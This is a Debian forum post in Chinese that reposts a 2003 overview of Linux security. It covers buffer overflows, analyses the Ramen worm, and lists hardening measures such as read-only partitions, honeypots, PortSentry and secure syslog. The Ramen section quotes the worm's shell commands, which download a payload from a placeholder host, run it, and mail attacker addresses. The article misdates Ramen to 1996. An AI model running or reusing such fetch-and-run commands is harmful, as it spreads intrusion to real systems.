[新聞]LINUX安全綜述

常言道:『飲水思源』,在 Open Source 的世界裡,我們常常需要別人的幫助,但是在您有所心得的時候請記得分享給大家,『幫助人是快樂的喔』。歡迎您在使用 debian 的過程中的任何心得分享給大家。

[新聞]LINUX安全綜述

文章moto » 週三 4月 30, 2003 3:18 pm

摘自:大陸新聞組
From: kan.bbs@bbs.whu.edu.cn (meteor)

由于Linux操作系統是一個開放源代碼的免費操作系統, 因此受到越來越多用
戶的歡迎。隨著Linux操作系統在我國的不斷普及,Linux操作系統一直被認為是微
軟Windows軟件系統的勁敵, 因為它不僅安全、穩定、成本低,而且很少發現有病
毒傳播。 但是,隨著越來越多的服務器、工作站和個人電腦使用Linux軟件,電腦
病毒制造者也開始攻擊這一系統。于1996年被發現的Ramen是Linux系統下的第一個
病毒,如果說剛開始時Linux病毒向人們展示的僅僅是一個概念,那麼,Ramen病毒
的發現,則已經開始引起了人們的擔心。雖然很多人認為,嚴格來講,Reman 並不
能稱為病毒,但是這已經讓很多對Linux的安全性信心百倍的用戶大吃一驚了。
可以看到,從1996年至今,新的Linux病毒屈指可數,這說明Linux是一個健壯
的、具有先天病毒免疫能力的操作系統。當然除了其自身設計優秀外,年輕,也是
Linux很少受到病毒攻擊的原因之一。事實上,所有操作系統 (包括DOS和Windows
)在其產生之初,也很少受到各種病毒的侵擾。 然而正如Trend Micro的反病毒部
門歐洲總裁Raimond Genes所說的,“當然我們將看到對于Windows的越來越多的攻
擊,但是Linux也將成為一個目標, 因為它的使用正在變得越來越普及,這是一個
穩定的操作系統,但, 並不是一個完全安全的系統而LINUX方面關于世界上第一個
Linux病毒──reman已經出現的說法,我們得到該病毒的有關資料和樣本之後發現
,嚴格地說,reman並不能被稱為病毒。 實際上這是一個古老的,在UNIX/Linux世
界早已存在的“緩衝區溢出”攻擊程序。幾乎所有UNIX/Linux版本中都或多或少地
存在這樣的問題。第一次此種類型的攻擊(morris worm), 到現在已經十多年了,
並不是等到現在才“出現”的。 事實上針對windows 98/NT的緩衝區溢出攻擊也是
很常見的。
緩衝區溢出的原理是:向一個有限空間的緩衝區拷貝了過長的字符串,覆蓋相
鄰的存儲單元,會引起程序運行失敗。因為自動變量保存在堆棧當中,當發生緩衝
區溢出的時候,存儲在堆棧中的函數反回地址也會被覆蓋從而無法從發生溢出的函
數正常返回(返回地址往往是一個無效的地址),在這樣的情況下系統一般報告:
“core dump”或“segment fault”。嚴重的是:如果覆蓋緩衝區的是一段精心設
計的機器指令序列,它可能通過溢出,改變返回地址,將其指向自己的指令序列,
從而改變該程序的正常流程。 這段精心設計的指令一般的目的是:“/bin/sh”,
所以這段代碼被稱為:“shell code”。 通過這樣的溢出可以得到一個shell,僅
此而已。但是,如果被溢出是一個suid root程序, 得到的將是一個root shell。
這樣機器的控制權已經易手,此後發生的任何事情都是合理的。
下面我們回到reman。 它首先對網絡上的主機進行掃描,通過兩個普通的漏洞
進入系統,獲取root權限,然後從源主機復制自身,以繼續掃描網上其他服務器。
對于Red Hat 6.2來講,如果攻擊成功,它會做以下工作:
mkdir /usr/src/.poop;cd /usr/src/.poop
export TERM=vt100
lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz
cp ramen.tgz /tmp
gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh
echo Eat Your Ramen! | mail -s TOADDR -c gb31337@hotmail.com
gb31337@yahoo.com
很明顯,reman 只是一個自動化了的緩衝區溢出程序,而且是很普通的一種。
目前緩衝區溢出攻擊是非常普遍的一種攻擊,黑客網站對各類系統的漏洞的發布幾
乎每日更新。但是這種攻擊方式並不是不可避免。
但我們對于LINUX的安全措施仍需要注意。

一、文件系統在Linux 系統中,分別為不同的應用安裝單獨的主分區將關鍵的
分區設置為只讀將大大提高文件系統的安全。 這主要涉及到Linux自身的ext2文件
系統的只添加(只添加)和不可變這兩大屬性。
- 文件分區Linux 的文件系統可以分成幾個主要的分區,每個分區分別進行不
同的配置和安裝,一般情況下至少要建立/、/usr/local、/var和/home等分區 。/
usr可以安裝成只讀並且可以被認為是不可修改的。 如果/usr中有任何文件發生了
改變,那麼系統將立即發出安全報警。當然這不包括用戶自己改變/usr中的內容。
/lib、/boot和/sbin的安裝和設置也一樣。在安裝時應該盡量將它們設置為只
讀,並且對它們的文件、目錄和屬性進行的任何修改都會導致系統報警。
當然將所有主要的分區都設置為只讀是不可能的, 有的分區如/var等,其自身
的性質就決定了不能將它們設置為只讀,但應該不允許它具有執行權限。
- 擴展ext2使用ext2文件系統上的只添加和不可變這兩種文件屬性可以進一步
提高安全級別。不可變和只添加屬性只是兩種擴展ext2文件系統的屬性標志的方法

一個標記為不可變的文件不能被修改,甚至不能被根用戶修改。一個標記為只
添加的文件可以被修改,但只能在它的後面添加內容,即使根用戶也只能如此。
可以通過chattr命令來修改文件的這些屬性,如果要查看其屬性值的話可以使
用lsattr命令。要想了解更多的關于ext2文件屬性的信息,可使用命令man chattr
來尋求幫助。這兩上文件屬性在檢測黑客企圖在現有的文件中安裝入侵後門時是很
有用的。為了安全起見,一旦檢測到這樣的活動就應該立即將其阻止並發出報警信
息。
如果你的關鍵的文件系統安裝成只讀的並且文件被標記為不可變的,入侵者必
須重新安裝系統才能刪除這些不可變的文件但這會立刻產生報警,這樣就大大減少
了被非法入侵的機會。
- 保護log文件。 當與log文件和log備份一起使用時不可變和只添加這兩種文
件屬性特別有用。系統管理員應該將活動的log文件屬性設置為只添加。當log被更
新時,新產生的log備份文件屬性應該設置成不可變的,而新的活動的log文件屬性
又變成了只添加。這通常需要在log更新腳本中添加一些控制命令。

二、備份在完成Linux 系統的安裝以後應該對整個系統進行備份,以後可以根
據這個備份來驗證系統的完整性,這樣就可以發現系統文件是否被非法竄改過。如
果發生系統文件已經被破壞的情況,也可以使用系統備份來恢復到正常的狀態。
- CD-ROM備份當前最好的系統備份介質就是CD-ROM光盤,以後可以定期將系統
光盤內容進行比較以驗證系統的完整性是否遭到破壞。如果對安全級別的要求特別
高,那麼可以將光盤設置為可啟動的並且將驗證工作作為系統啟動過程的一部分。
這樣只要可以通過光盤啟動,就說明系統尚未被破壞過。
如果你創建了一個只讀的分區,那麼可以定期從光盤映像重新裝載它們。即使
象/boot、/lib和/sbin這樣不能被安裝成只讀的分區,你仍然可以根據光盤映像來
檢查它們,甚至可以在啟動時從另一個安全的映像重新下載它們。
- 其它方式的備份雖然/etc中的許多文件經常會變化,但/etc中的許多內容仍
然可以放到光盤上用于系統完整性驗證。其它不經常進行修改的文件,可以備份到
另一個系統(如磁帶)或壓縮到一個只讀的目錄中。這種辦法可以在使用光盤映像
進行驗證的基礎上再進行額外的系統完整性檢查。
既然現在絕大多數操作系統現在都在隨光盤一起提供的,制作一個CD-ROM緊急
啟動盤或驗證盤操作起來是十分方便的,它是一種十分有效而又可行的驗證方法。

三、改進系統內部安全機制可以通過改進Linux 操作系統的內部功能來防止緩
衝區溢出攻擊這種破壞力極強卻又最難預防的攻擊方式,雖然這樣的改進需要系統
管理員具有相當豐富的經驗和技巧,但對于許多對安全級別要求高的Linux 系統來
講還是很有必要的。
- Solaris Designer的安全Linux補丁Solaris Designer用于2.0版內核的安全
Linux 補丁提供了一個不可執行的棧來減少緩衝區溢出的威脅,從而大大提高了整
個系統的安全性。
緩衝區溢出實施起來是相當困難的,因為入侵者必須能夠判斷潛在的緩衝區溢
出何時會出現以及它在內存中的什麼位置出現。緩衝區溢出預防起來也十分困難,
系統管理員必須完全去掉緩衝區溢出存在的條件才能防止這種方式的攻擊。正因為
如此,許多人甚至包括Linux Torvalds 本人也認為這個安全Linux補丁十分重要,
因為它防止了所有使用緩衝區溢出的攻擊。但是需要引起注意的是,這些補丁也會
導致對執行棧的某些程序和庫的依賴問題,這些問題也給系統管理員帶來的新的挑
戰。
不可執行的棧補丁已經在許多安全郵件列表(如securedistros@nl.linux.org
)中進行分發,用戶很容易下載到它們等。
- StackGuardStackGuard是一個十分強大的安全補丁工具。你可以使用經Stac
kGuard修補過的gcc版本來重新編譯和鏈接關鍵的應用。
StackGuard進行編譯時增加了棧檢查以防止發生棧攻擊緩衝區溢出,雖然這會
導致系統的性能略有下降,但對于安全級別要求高的特定應用來講StackGuard仍然
是一個十分管用的工具。
現在已經有了一個使用了SafeGuard的Linux版本,用戶使用StackGuard將會更
加容易。雖然使用StackGuard會導致系統性能下降約10~20%, 但它能夠防止整個
緩衝區溢出這一類攻擊。
- 增加新的訪問控制功能Linux的2.3版內核正試圖在文件系統中實現一個訪問
控制列表,這要可以在原來的三類(owner、group和other) 訪問控制機制的基礎
上再增加更詳細的訪問控制。
在2.2和2.3版的Linux 內核中還將開發新的訪問控制功能,它最終將會影響當
前有關ext2文件屬性的一些問題。與傳統的具有ext2文件系統相比它提供了一個更
加精確的安全控制功能。有了這個新的特性,應用程序將能夠在不具有超級用戶權
限的情況下訪問某些系統資源,如初始套接等。
- 基于規則集的訪問控制現在有關的Linux 團體正在開發一個基于規則的訪問
控制(RSBAC) 項目,該項目聲稱能夠使Linux操作系統實現B1級的安全。RSBAC是
基于訪問控制的擴展框架並且擴展了許多系統調用方法,它支持多種不同的訪問和
認證方法。這對于擴展和加強Linux系統的內部和本地安全是一個很有用的。

四、設置陷井和蜜罐所謂陷井就是激活時能夠觸發報警事件的軟件,而蜜罐(
honey pot) 程序是指設計來引誘有入侵企圖者觸發專門的報警的陷井程序。通過
設置陷井和蜜罐程序,一旦出現入侵事件系統可以很快發出報警。在許多大的網絡
中,一般都設計有專門的陷井程序。陷井程序一般分為兩種:一種是只發現入侵者
而不對其採取報復行動,另一種是同時採取報復行動。
設置蜜罐的一種常用方法是故意聲稱Linux系統使用了具有許多脆弱性的 IMAP
服務器版本。當入侵者對這些IMAP服務器進行大容量端口掃瞄就會落入陷井並且激
發系統報警。
另一個蜜罐陷井的例子就是很有名的phf,它是一個非常脆弱的Web cgi-bin腳
本。 最初的phf是設計來查找電話號碼的,但它具有一個嚴重的安全漏洞:允許入
侵者使用它來獲得系統口令文件或執行其它惡意操作。系統管理員可以設置一個假
的phf腳本,但是它不是將系統的口令文件發送給入侵者, 而是向入侵者返回一些
假信息並且同時向系統管理員發出報警。
另外一類蜜罐陷井程序可以通過在防火牆中將入侵者的IP地址設置為黑名單來
立即拒絕入侵者繼續進行訪問。拒絕不友好的訪問既可以是短期的,也可以是長期
的。Linux內核中的防火牆代碼非常適合于這樣做。
五、將入侵消滅在萌芽狀態入侵者進行攻擊之前最常做的一件事情就是端號掃
瞄,如果能夠及時發現和阻止入侵者的端號掃瞄行為,那麼可以大大減少入侵事件
的發生率。反應系統可以是一個簡單的狀態檢查包過濾器,也可以是一個復雜的入
侵檢測系統或可配置的防火牆。
- Abacus Port SentryAbacus Port Sentry是開放源代碼的工具包,它能夠監
視網絡接口並且與防火牆交互操作來關閉端口掃瞄攻擊。當發生正在進行的端口掃
瞄時, Abacus Sentry可以迅速阻止它繼續執行。但是如果配置不當,它也可能允
許敵意的外部者在你的系統中安裝拒絕服務攻擊。
Abacus Port Sentry 如果與Linux中透明的代理工具一起使用可以提供一個非
常有效地入侵防範措施。這樣可以將為所有IP地址提供通用服務的未使用端口重定
向到Port Sentry中,Port Sentry可以在入侵者採取進一步行動之前及時檢測到並
阻止端口掃瞄。
Abacus Port Sentry 能夠檢測到慢掃瞄(slow scan),但它不能檢測到結構
化攻擊(structured attack) 。這兩種方式最終目的都要試圖掩蓋攻擊意圖。慢
掃瞄就是通過將端口掃瞄分散到很長的時間內來完成,而在結構化的攻擊中,攻擊
者試圖通過掃瞄或探測多個源地址中來掩蓋自己的真實攻擊目標。
正確地使用這個軟件將能夠有效地防止對IMAP服務大量的並行掃瞄並且阻止所
有這樣的入侵者。Abacus Sentry與Linux 2.2內核的IPChains工具一起使用時最有
效,IPChains能夠自動將所有的端口掃瞄行為定向到Port Sentry。
Linux 2.0 內核可以使用IPChains進行修補,Abacus Port Sentry也可以與早
期的20版內核中的ipfwadm工具一起使用,ipfwadm 在2.2版本以後被IPChains取代
了。
Abacus Port Sentry還可以被配置來對Linux系統上的UDP掃瞄作出反應,甚至
還可以對各種半掃瞄作出反應,如FIN掃瞄, 這種掃描試圖通過只發送很小的探測
包而不是建立一個真正的連接來避免被發現。
當然更好的辦法就是使用專門的入侵檢測系統,如 ISS公司的RealSecure等,
它們可以根據入侵報警和攻擊簽名重新配置防火牆。但這樣的產品一般價格較高,
普及的用戶承受起來有困難。

六、反攻擊檢測系統主要通過阻止入侵企圖來防止入侵,而反攻擊系統則可以
反向進行端口掃瞄或發起其它的攻擊,這一著讓入侵者不僅入侵陰謀未能得逞,反
而“引狼入室”,招致反攻擊。
有些安全系統如Abacus Sentry具有一定的反攻擊能力。 比如有的站點有了防
止用戶通過telnet進行連接,在應答telnet連接請求時,系統將返回一些不受歡迎
的惡意信息。這只是一種最簡單也是最輕微的反攻擊措施。
一般情況下並不提倡使用反攻擊功能,因為這樣的反攻擊措施很容易被非法利
用來攻擊其它的系統。

七、改進登錄服務器將系統的登錄服務器移到一個單獨的機器中會增加系統的
安全級別,使用一個更安全的登錄服務器來取代Linux 自身的登錄工具也可以進一
步提高安全。
在大的Linux網絡中, 最好使用一個單獨的登錄服務器用于syslog服務。它必
須是一個能夠滿足所有系統登錄需求並且擁有足夠的磁盤空間的服務器系統,在這
個系統上應該沒有其它的服務運行。更安全的登錄服務器會大大削弱入侵者透過登
錄系統竄改日志文件的能力。
- 安全syslog即使使用單獨的登錄服務器,Linux 自身的syslog工具也是相當
不安全的。因此,有人開發了所謂的安全log服務器,將密碼簽名集成到日志中。
這會確保入侵者即使在竄改系統日志以後也無法做到不被發現。現在最常用的
用于取代syslog的安全log服務器稱為"安全syslog(ssyslong) ",用戶可從Core
SDI站點http://www.core-sdi.com/ssylog 處下載這個工具。這個守護程序實現一
個稱為PEQ-1的密碼協議來實現對系統日志的遠程審計。 即使在入侵者獲得系統超
級用戶權限的情況下也仍然可以進行審計,因為協議保證了以前以及入侵過程中的
的log信息沒有審計者(在遠程可信任的主機上)的通知無法被修改。
- syslog-ng另一個取代syslog的工具是syslog-ng(下一代的syslog)。這是
一個更加可配置的守護進程,它提供了密碼簽名來檢測對日志文件的竄改。密碼安
全登錄服務器和遠程審計功能一起可以使入侵者極難進行日志竄改並且非常容易被
檢測到這樣的不良企圖。用戶可以從www.babit.hu/products/syslog-ng.html處下
載這個工具。

八、使用單一登錄系統維護分散的大網絡環境中的多個用戶帳號對于系統管理
員來講是一件非常頭疼的事情。現在有一些單一的登錄(sign on) 系統不僅可以
減輕管理員的負擔,而同時還提高了安全級別。
網絡信息服務(NIS)是一個很好的單一登錄系統,它在Sun公司的YellowPage
服務的基礎上發展來的,它的基本安全特性不夠健狀, 由于不斷有一些bug和脆弱
性被公布,因此有人戲稱它為網絡入侵者服務(Network Intruder Service)。
NIS的更新版本NIS+原NIS的不足進行了改進,現在已經有了用于Linux的 NIS+
版本。
Kerberos也是一種非常有名的單一登錄系統。 Kerberos v4具有一些很有名的
安全漏洞,如入侵者可以離線進行窮盡攻擊Kerberos cookie而不會被發現。
Ketberos v5大大進行了改進,不會再有v4的問題。
在大的網絡中, 象NIS和Kerberos這樣的單一的登錄系統雖然有有利的一面,
但也有它不利的一面。一方面,在不同系統上都具有認證機制有助于隔離該功能並
且減少它與其它服務相互之間的影響。另一方面,一旦一個系統中的某個帳號被破
壞,所有可通過這個帳號訪問的系統都將同樣遭到破壞。因此在單一的登錄系統中
特別要求具有較高防猜測水平的口令字。
基于Windows的網絡在Windows NT域系統中有自己的單一登錄系統。Linux系統
可以根據Windows系統進行認證。這允許用戶在Windows系統下修改、維護和管理它
們的帳號和口令字並且修改結果會在同時在UNIX登錄中得到體現。如使用 pam_smb
,Linux系統可以根據Windows SMB Domain進行認證。這在以Windows網絡管理為中
心的網絡中是相當方便的,但它也帶來了Windows認證系統自身的一些不安全性。

九、掌握最新安全產品和技術作為一個系統管理員,還必須時刻跟蹤Linux 安
全技術的發展動向,並且適時採用更先進的Linux安全工具。 目前國際上有許多有
關Linux安全的研究和開發項目,目前至少有三個安全Linux項目已經啟動,每個項
目的目標都有自己的側重點,它們分別是:

- 安全Linux(Secure Linux)
安全Linux(www.reseau.nl/securelinux)項目的目標是提供一個用于Inter-
net服務器系統的安全的Linux分發。該項目管理者正尋求在這個產品中集成強大的
密碼和一些額外的Web服務器功能。 既然它是在美國之外創建的,人們可望能夠得
到改進的密碼安全而不會受到美國安全產品出口法律的限制。
- Bastille LinuxBastille Linux(www.bastille-linux.org)尋求在 Linux
環境中建立一個類似OpenBSD的標準。 該項目宣稱的目標是為台式機創建一個安全
的分發,使網絡管理者可以不用擔心用戶的安全。
- Kha0s LinuxKha0s Linux(www.kha0s.org) 正尋求創建了一個具有強加密
和類似OpenBSD的安全政策的最小的安全Linux分發。 該小組目前正在它的Web站點
上請求全球用戶和廠商的參與和合作。
除此之外,下面兩點對于管理員提高Linux安全管理水平也是十分有用的:
- 訪問安全Linux郵件列表現在有許多關于Linux安全的郵件列表, 如secure-
distros@nl.linux.org、Kh a0s-dev@kha0s.org等,經常訪問這些郵件列表可以得
到大量的安全信息。
還有另一個通用的郵件列表是security-audit@ferret.lmh.ox.ac.uk,它是專
門討論源代碼的安全審計的。這個列表可能與其它的郵件列表有大量的重復,但如
果想了解源代碼審計和相關的安全問題的話還是很值得一讀的。

十、多管齊下任何一種單一的安全措施其防範能力都是有限的,一個安全的系
統必須採取多種安全措施,多管齊下才能更好的保證安全。假如一個Linux 系統採
取了以上各種安全措施,那麼要想侵入你的系統,攻擊者將不得不繞過防火牆、避
開入侵檢測系統、跳過陷井程序、通過系統過濾器、逃過你的日志監視器、修改文
件系統屬性、破壞安全登錄服務器才能最終達到目的。由于其中任何一個環節都可
能激發報警,因此入侵者要想侵入這樣的系統而又不被發現幾乎是不可能的。
總結:很多人對于病毒的描述是:流行的即不安全的。 例如,目前所有的流
行病毒都是針對于Windows的,而像Unix和Linux卻是非常安全。可是現在病毒又把
Linux作為新目標,我們的用戶得小心了。 實際上這種鑽空子的做法並非一勞永逸
,最好的辦法應該是時刻警惕,及時打補丁,做好預防工作。
歡迎你來到MOTO學園一起討論Debian相關問題。
在post問題前可先別忘記了以下的步驟:
1:翻一下/usr/share/doc/中是否已經有解答了?
2:閱讀一下無痛起步是否已經提到了?
3:找一下google予以解答?
4:善用學園中的"搜尋"功能,往往答案就在裡面窩。
頭像
moto
摩托學園站長
摩托學園站長
 
文章: 2808
註冊時間: 週二 9月 03, 2002 3:37 am
來自: 台北

文章訪客 » 週五 4月 20, 2007 8:58 pm

在debian 如果 某個使用者 登入時, 輸入密碼錯誤 超過一定次數. 是否有檔案記錄這些訊息 (包括使用者 login 的 ip, 輸入錯誤的密碼為何, etc.)? 或是可以設定此類 的audit 程式?
訪客
 

文章訪客 » 週五 4月 20, 2007 9:21 pm

Anonymous 寫:在debian 如果 某個使用者 登入時, 輸入密碼錯誤 超過一定次數. 是否有檔案記錄這些訊息 (包括使用者 login 的 ip, 輸入錯誤的密碼為何, etc.)? 或是可以設定此類 的audit 程式?

每次錯誤都紀錄於 /var/log/auth.log。
訪客
 


回到 share

誰在線上

正在瀏覽這個版面的使用者:沒有註冊會員 和 1 位訪客